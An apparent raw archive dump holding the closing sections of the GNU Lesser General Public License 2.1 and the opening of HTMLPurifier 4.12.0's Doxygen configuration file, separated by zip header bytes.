License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!
vim: et sw=4 sts=4
PK j�$Z�*��� �� htmlpurifier/Doxyfilenu �[��� # Doxyfile 1.5.3
# This file describes the settings to be used by the documentation system
# doxygen (www.doxygen.org) for a project
#
# All text after a hash (#) is considered a comment and will be ignored
# The format is:
# TAG = value [value, ...]
# For lists items can also be appended using:
# TAG += value [value, ...]
# Values that contain spaces should be placed between quotes (" ")
#---------------------------------------------------------------------------
# Project related configuration options
#---------------------------------------------------------------------------
# This tag specifies the encoding used for all characters in the config file that
# follow. The default is UTF-8 which is also the encoding used for all text before
# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into
# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of
# possible encodings.
DOXYFILE_ENCODING = UTF-8
# The PROJECT_NAME tag is a single word (or a sequence of words surrounded
# by quotes) that should identify the project.
PROJECT_NAME = HTMLPurifier
# The PROJECT_NUMBER tag can be used to enter a project or revision number.
# This could be handy for archiving the generated documentation or
# if some version control system is used.
PROJECT_NUMBER = 4.12.0
# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
# base path where the generated documentation will be put.
# If a relative path is entered, it will be relative to the location
# where doxygen was started. If left blank the current directory will be used.
OUTPUT_DIRECTORY = "docs/doxygen "
# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create
# 4096 sub-directories (in 2 levels) under the output directory of each output
# format and will distribute the generated files over these directories.
# Enabling this option can be useful when feeding doxygen a huge amount of
# source files, where putting all generated files in the same directory would
# otherwise cause performance problems for the file system.
CREATE_SUBDIRS = NO
# The OUTPUT_LANGUAGE tag is used to specify the language in which all
# documentation generated by doxygen is written. Doxygen will use this
# information to generate all constant output in the proper language.
# The default language is English, other supported languages are:
# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional,
# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian,
# Italian, Japanese, Japanese-en (Japanese with English messages), Korean,
# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian,
# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian.
OUTPUT_LANGUAGE = English
# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will
# include brief member descriptions after the members that are listed in
# the file and class documentation (similar to JavaDoc).
# Set to NO to disable this.
BRIEF_MEMBER_DESC = YES
# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend
# the brief description of a member or function before the detailed description.
# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
# brief descriptions will be completely suppressed.
REPEAT_BRIEF = YES
# This tag implements a quasi-intelligent brief description abbreviator
# that is used to form the text in various listings. Each string
# in this list, if found as the leading text of the brief description, will be
# stripped from the text and the result after processing the whole list, is
# used as the annotated text. Otherwise, the brief description is used as-is.
# If left blank, the following values are used ("$name" is automatically
# replaced with the name of the entity): "The $name class" "The $name widget"
# "The $name file" "is" "provides" "specifies" "contains"
# "represents" "a" "an" "the"
ABBREVIATE_BRIEF = "The $name class " \
"The $name widget " \
"The $name file " \
is \
provides \
specifies \
contains \
represents \
a \
an \
the
# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
# Doxygen will generate a detailed section even if there is only a brief
# description.
ALWAYS_DETAILED_SEC = NO
# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all
# inherited members of a class in the documentation of that class as if those
# members were ordinary class members. Constructors, destructors and assignment
# operators of the base classes will not be shown.
INLINE_INHERITED_MEMB = NO
# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full
# path before files name in the file list and in the header files. If set
# to NO the shortest path that makes the file name unique will be used.
FULL_PATH_NAMES = YES
# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag
# can be used to strip a user-defined part of the path. Stripping is
# only done if one of the specified strings matches the left-hand part of
# the path. The tag can be used to show relative paths in the file list.
# If left blank the directory from which doxygen is run is used as the
# path to strip.
STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \
"C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier "
# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of
# the path mentioned in the documentation of a class, which tells
# the reader which header file to include in order to use a class.
# If left blank only the name of the header file containing the class
# definition is used. Otherwise one should specify the include paths that
# are normally passed to the compiler using the -I flag.
STRIP_FROM_INC_PATH =
# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter
# (but less readable) file names. This can be useful is your file systems
# doesn't support long names like on DOS, Mac, or CD-ROM.
SHORT_NAMES = NO
# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen
# will interpret the first line (until the first dot) of a JavaDoc-style
# comment as the brief description. If set to NO, the JavaDoc
# comments will behave just like regular Qt-style comments
# (thus requiring an explicit @brief command for a brief description.)
JAVADOC_AUTOBRIEF = YES
# If the QT_AUTOBRIEF tag is set to YES then Doxygen will
# interpret the first line (until the first dot) of a Qt-style
# comment as the brief description. If set to NO, the comments
# will behave just like regular Qt-style comments (thus requiring
# an explicit \brief command for a brief description.)
QT_AUTOBRIEF = NO
# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen
# treat a multi-line C++ special comment block (i.e. a block of //! or ///
# comments) as a brief description. This used to be the default behaviour.
# The new default is to treat a multi-line C++ comment block as a detailed
# description. Set this tag to YES if you prefer the old behaviour instead.
MULTILINE_CPP_IS_BRIEF = NO
# If the DETAILS_AT_TOP tag is set to YES then Doxygen
# will output the detailed description near the top, like JavaDoc.
# If set to NO, the detailed description appears after the member
# documentation.
DETAILS_AT_TOP = NO
# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented
# member inherits the documentation from any documented member that it
# re-implements.
INHERIT_DOCS = YES
# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce
# a new page for each member. If set to NO, the documentation of a member will
# be part of the file/class/namespace that contains it.
SEPARATE_MEMBER_PAGES = NO
# The TAB_SIZE tag can be used to set the number of spaces in a tab.
# Doxygen uses this value to replace tabs by spaces in code fragments.
TAB_SIZE = 4
# This tag can be used to specify a number of aliases that acts
# as commands in the documentation. An alias has the form "name=value".
# For example adding "sideeffect=\par Side Effects:\n" will allow you to
# put the command \sideeffect (or @sideeffect) in the documentation, which
# will result in a user-defined paragraph with heading "Side Effects:".
# You can put \n's in the value part of an alias to insert newlines.
ALIASES =
# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C
# sources only. Doxygen will then generate output that is more tailored for C.
# For instance, some of the names that are used will be different. The list
# of all members will be omitted, etc.
OPTIMIZE_OUTPUT_FOR_C = NO
# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java
# sources only. Doxygen will then generate output that is more tailored for Java.
# For instance, namespaces will be presented as packages, qualified scopes
# will look different, etc.
OPTIMIZE_OUTPUT_JAVA = NO
# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to
# include (a tag file for) the STL sources as input, then you should
# set this tag to YES in order to let doxygen match functions declarations and
# definitions whose arguments contain STL classes (e.g. func(std::string); v.s.
# func(std::string) {}). This also make the inheritance and collaboration
# diagrams that involve STL classes more complete and accurate.
BUILTIN_STL_SUPPORT = NO
# If you use Microsoft's C++/CLI language, you should set this option to YES to
# enable parsing support.
CPP_CLI_SUPPORT = NO
# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC
# tag is set to YES, then doxygen will reuse the documentation of the first
# member in the group (if any) for the other members of the group. By default
# all members of a group must be documented explicitly.
DISTRIBUTE_GROUP_DOC = NO
# Set the SUBGROUPING tag to YES (the default) to allow class member groups of
# the same type (for instance a group of public functions) to be put as a
# subgroup of that type (e.g. under the Public Functions section). Set it to
# NO to prevent subgrouping. Alternatively, this can be done per class using
# the \nosubgrouping command.
SUBGROUPING = YES
#---------------------------------------------------------------------------
# Build related configuration options
#---------------------------------------------------------------------------
# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in
# documentation are documented, even if no documentation was available.
# Private class members and static file members will be hidden unless
# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
EXTRACT_ALL = YES
# If the EXTRACT_PRIVATE tag is set to YES all private members of a class
# will be included in the documentation.
EXTRACT_PRIVATE = YES
# If the EXTRACT_STATIC tag is set to YES all static members of a file
# will be included in the documentation.
EXTRACT_STATIC = YES
# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs)
# defined locally in source files will be included in the documentation.
# If set to NO only classes defined in header files are included.
EXTRACT_LOCAL_CLASSES = YES
# This flag is only useful for Objective-C code. When set to YES local
# methods, which are defined in the implementation section but not in
# the interface are included in the documentation.
# If set to NO (the default) only methods in the interface are included.
EXTRACT_LOCAL_METHODS = NO
# If this flag is set to YES, the members of anonymous namespaces will be extracted
# and appear in the documentation as a namespace called 'anonymous_namespace{file}',
# where file will be replaced with the base name of the file that contains the anonymous
# namespace. By default anonymous namespace are hidden.
EXTRACT_ANON_NSPACES = NO
# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all
# undocumented members of documented classes, files or namespaces.
# If set to NO (the default) these members will be included in the
# various overviews, but no documentation section is generated.
# This option has no effect if EXTRACT_ALL is enabled.
HIDE_UNDOC_MEMBERS = NO
# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all
# undocumented classes that are normally visible in the class hierarchy.
# If set to NO (the default) these classes will be included in the various
# overviews. This option has no effect if EXTRACT_ALL is enabled.
HIDE_UNDOC_CLASSES = NO
# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all
# friend (class|struct|union) declarations.
# If set to NO (the default) these declarations will be included in the
# documentation.
HIDE_FRIEND_COMPOUNDS = NO
# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any
# documentation blocks found inside the body of a function.
# If set to NO (the default) these blocks will be appended to the
# function's detailed documentation block.
HIDE_IN_BODY_DOCS = NO
# The INTERNAL_DOCS tag determines if documentation
# that is typed after a \internal command is included. If the tag is set
# to NO (the default) then the documentation will be excluded.
# Set it to YES to include the internal documentation.
INTERNAL_DOCS = NO
# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate
# file names in lower-case letters. If set to YES upper-case letters are also
# allowed. This is useful if you have classes or files whose names only differ
# in case and if your file system supports case sensitive file names. Windows
# and Mac users are advised to set this option to NO.
CASE_SENSE_NAMES = YES
# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen
# will show members with their full class and namespace scopes in the
# documentation. If set to YES the scope will be hidden.
HIDE_SCOPE_NAMES = NO
# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen
# will put a list of the files that are included by a file in the documentation
# of that file.
SHOW_INCLUDE_FILES = YES
# If the INLINE_INFO tag is set to YES (the default) then a tag [inline]
# is inserted in the documentation for inline members.
INLINE_INFO = YES
# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen
# will sort the (detailed) documentation of file and class members
# alphabetically by member name. If set to NO the members will appear in
# declaration order.
SORT_MEMBER_DOCS = YES
# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the
# brief documentation of file, namespace and class members alphabetically
# by member name. If set to NO (the default) the members will appear in
# declaration order.
SORT_BRIEF_DOCS = NO
# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be
# sorted by fully-qualified names, including namespaces. If set to
# NO (the default), the class list will be sorted only by class name,
# not including the namespace part.
# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.
# Note: This option applies only to the class list, not to the
# alphabetical list.
SORT_BY_SCOPE_NAME = NO
# The GENERATE_TODOLIST tag can be used to enable (YES) or
# disable (NO) the todo list. This list is created by putting \todo
# commands in the documentation.
GENERATE_TODOLIST = YES
# The GENERATE_TESTLIST tag can be used to enable (YES) or
# disable (NO) the test list. This list is created by putting \test
# commands in the documentation.
GENERATE_TESTLIST = YES
# The GENERATE_BUGLIST tag can be used to enable (YES) or
# disable (NO) the bug list. This list is created by putting \bug
# commands in the documentation.
GENERATE_BUGLIST = YES
# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or
# disable (NO) the deprecated list. This list is created by putting
# \deprecated commands in the documentation.
GENERATE_DEPRECATEDLIST= YES
# The ENABLED_SECTIONS tag can be used to enable conditional
# documentation sections, marked by \if sectionname ... \endif.
ENABLED_SECTIONS =
# The MAX_INITIALIZER_LINES tag determines the maximum number of lines
# the initial value of a variable or define consists of for it to appear in
# the documentation. If the initializer consists of more lines than specified
# here it will be hidden. Use a value of 0 to hide initializers completely.
# The appearance of the initializer of individual variables and defines in the
# documentation can be controlled using \showinitializer or \hideinitializer
# command in the documentation regardless of this setting.
MAX_INITIALIZER_LINES = 30
# Set the SHOW_USED_FILES tag to NO to disable the list of files generated
# at the bottom of the documentation of classes and structs. If set to YES the
# list will mention the files that were used to generate the documentation.
SHOW_USED_FILES = YES
# If the sources in your project are distributed over multiple directories
# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy
# in the documentation. The default is NO.
SHOW_DIRECTORIES = NO
# The FILE_VERSION_FILTER tag can be used to specify a program or script that
# doxygen should invoke to get the current version for each file (typically from the
# version control system). Doxygen will invoke the program by executing (via
# popen()) the command <command> <input-file>, where <command> is the value of
# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file
# provided by doxygen. Whatever the program writes to standard output
# is used as the file version. See the manual for examples.
FILE_VERSION_FILTER =
#---------------------------------------------------------------------------
# configuration options related to warning and progress messages
#---------------------------------------------------------------------------
# The QUIET tag can be used to turn on/off the messages that are generated
# by doxygen. Possible values are YES and NO. If left blank NO is used.
QUIET = NO
# The WARNINGS tag can be used to turn on/off the warning messages that are
# generated by doxygen. Possible values are YES and NO. If left blank
# NO is used.
WARNINGS = YES
# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings
# for undocumented members. If EXTRACT_ALL is set to YES then this flag will
# automatically be disabled.
WARN_IF_UNDOCUMENTED = YES
# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for
# potential errors in the documentation, such as not documenting some
# parameters in a documented function, or documenting parameters that
# don't exist or using markup commands wrongly.
WARN_IF_DOC_ERROR = YES
# This WARN_NO_PARAMDOC option can be abled to get warnings for
# functions that are documented, but have no documentation for their parameters
# or return value. If set to NO (the default) doxygen will only warn about
# wrong or incomplete parameter documentation, but not about the absence of
# documentation.
WARN_NO_PARAMDOC = NO
# The WARN_FORMAT tag determines the format of the warning messages that
# doxygen can produce. The string should contain the $file, $line, and $text
# tags, which will be replaced by the file and line number from which the
# warning originated and the warning text. Optionally the format may contain
# $version, which will be replaced by the version of the file (if it could
# be obtained via FILE_VERSION_FILTER)
WARN_FORMAT = "$file:$line: $text "
# The WARN_LOGFILE tag can be used to specify a file to which warning
# and error messages should be written. If left blank the output is written
# to stderr.
WARN_LOGFILE =
#---------------------------------------------------------------------------
# configuration options related to the input files
#---------------------------------------------------------------------------
# The INPUT tag can be used to specify the files and/or directories that contain
# documented source files. You may enter file names like "myfile.cpp" or
# directories like "/usr/src/myproject". Separate the files or directories
# with spaces.
INPUT = ". "
# This tag can be used to specify the character encoding of the source files that
# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default
# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding.
# See http://www.gnu.org/software/libiconv for the list of possible encodings.
INPUT_ENCODING = UTF-8
# If the value of the INPUT tag contains directories, you can use the
# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
# and *.h) to filter out the source-files in the directories. If left
# blank the following patterns are tested:
# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx
# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py
FILE_PATTERNS = *.php
# The RECURSIVE tag can be used to turn specify whether or not subdirectories
# should be searched for input files as well. Possible values are YES and NO.
# If left blank NO is used.
RECURSIVE = YES
# The EXCLUDE tag can be used to specify files and/or directories that should
# excluded from the INPUT source files. This way you can easily exclude a
# subdirectory from a directory tree whose root is specified with the INPUT tag.
EXCLUDE =
# The EXCLUDE_SYMLINKS tag can be used select whether or not files or
# directories that are symbolic links (a Unix filesystem feature) are excluded
# from the input.
EXCLUDE_SYMLINKS = NO
# If the value of the INPUT tag contains directories, you can use the
# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude
# certain files from those directories. Note that the wildcards are matched
# against the file with absolute path, so to exclude all test directories
# for example use the pattern */test/*
EXCLUDE_PATTERNS = */tests/* \
*/benchmarks/* \
*/docs/* \
*/test-settings.php \
*/configdoc/* \
*/test-settings.php \
*/maintenance/* \
*/smoketests/* \
*/library/standalone/* \
*/.svn* \
*/conf/*
# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names
# (namespaces, classes, functions, etc.) that should be excluded from the output.
# The symbol name can be a fully qualified name, a word, or if the wildcard * is used,
# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test
EXCLUDE_SYMBOLS =
# The EXAMPLE_PATH tag can be used to specify one or more files or
# directories that contain example code fragments that are included (see
# the \include command).
EXAMPLE_PATH =
# If the value of the EXAMPLE_PATH tag contains directories, you can use the
# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
# and *.h) to filter out the source-files in the directories. If left
# blank all files are included.
EXAMPLE_PATTERNS = *
# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be
# searched for input files to be used with the \include or \dontinclude
# commands irrespective of the value of the RECURSIVE tag.
# Possible values are YES and NO. If left blank NO is used.
EXAMPLE_RECURSIVE = NO
# The IMAGE_PATH tag can be used to specify one or more files or
# directories that contain image that are included in the documentation (see
# the \image command).
IMAGE_PATH =
# The INPUT_FILTER tag can be used to specify a program that doxygen should
# invoke to filter for each input file. Doxygen will invoke the filter program
# by executing (via popen()) the command <filter> <input-file>, where <filter>
# is the value of the INPUT_FILTER tag, and <input-file> is the name of an
# input file. Doxygen will then use the output that the filter program writes
# to standard output. If FILTER_PATTERNS is specified, this tag will be
# ignored.
INPUT_FILTER =
# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern
# basis. Doxygen will compare the file name with each pattern and apply the
# filter if there is a match. The filters are a list of the form:
# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further
# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER
# is applied to all files.
FILTER_PATTERNS =
# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using
# INPUT_FILTER) will be used to filter the input files when producing source
# files to browse (i.e. when SOURCE_BROWSER is set to YES).
FILTER_SOURCE_FILES = NO
#---------------------------------------------------------------------------
# configuration options related to source browsing
#---------------------------------------------------------------------------
# If the SOURCE_BROWSER tag is set to YES then a list of source files will
# be generated. Documented entities will be cross-referenced with these sources.
# Note: To get rid of all source code in the generated output, make sure also
# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH
# then you must also enable this option. If you don't then doxygen will produce
# a warning and turn it on anyway
SOURCE_BROWSER = YES
# Setting the INLINE_SOURCES tag to YES will include the body
# of functions and classes directly in the documentation.
INLINE_SOURCES = NO
# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct
# doxygen to hide any special comment blocks from generated source code
# fragments. Normal C and C++ comments will always remain visible.
STRIP_CODE_COMMENTS = YES
# If the REFERENCED_BY_RELATION tag is set to YES (the default)
# then for each documented function all documented
# functions referencing it will be listed.
REFERENCED_BY_RELATION = YES
# If the REFERENCES_RELATION tag is set to YES (the default)
# then for each documented function all documented entities
# called/used by that function will be listed.
REFERENCES_RELATION = YES
# If the REFERENCES_LINK_SOURCE tag is set to YES (the default)
# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from
# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will
# link to the source code. Otherwise they will link to the documentstion.
REFERENCES_LINK_SOURCE = YES
# If the USE_HTAGS tag is set to YES then the references to source code
# will point to the HTML generated by the htags(1) tool instead of doxygen
# built-in source browser. The htags tool is part of GNU's global source
